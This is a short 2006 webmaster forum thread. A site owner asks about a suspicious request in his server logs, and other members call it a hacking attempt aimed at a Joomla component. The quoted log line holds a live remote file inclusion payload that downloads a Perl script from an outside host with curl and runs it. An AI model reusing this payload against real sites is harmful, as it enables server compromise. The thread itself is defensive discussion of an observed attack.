General Discussions

**kommissar** · 11-13-2006, 06:47 PM

Does anybody know what this person was trying to do?

I don't have anything called facileorms on my site.

Thanks in advance for your input.

Quote:

[Mon Nov 13 16:26:54 2006] [error] [client 81.219.60.10] request failed: erroneous characters after protocol string: GET /CMS/components/com_facileforms/facileforms.frame.php?ff_compath=http://xargonu.evonet.ro/tool25.txt?&cmd=curl%20-o%20/tmp/unix%20http://necazul.xhost.ro/altele/scan.pl;perl%20/tmp/unix ? HTTP/1.0

**Talk2Me** · 11-14-2006, 04:19 PM

I'm sorry but I find it really hard to figure out that code.

**ADAM Web Design** · 11-14-2006, 04:55 PM

I haven't seen that before, but I see similar types of requests in my logs from time to time. They're usually hack attempts. Based on the ff_compath querystring, I'd say that's probably one of them.

I had 1200-someodd of them happen in an hour last year. Turned out it was a company contracted by a bank to do a "security audit" before issuing a client a merchant account.

**vangogh** · 11-14-2006, 06:50 PM

Looks like a hacking attempt. A quick search on Google is showing that ff_compath has to do with Joomla. I think it's a variable that's used and it looks like the person was trying set that variable equal to what's in the file tool25.txt on xargonu.evonet.ro

Looks like they might have been trying to use a perl file on a different domain to run some kind of scan based on the file name.

The domains are Romanian (.ro)

All just guessing on my part.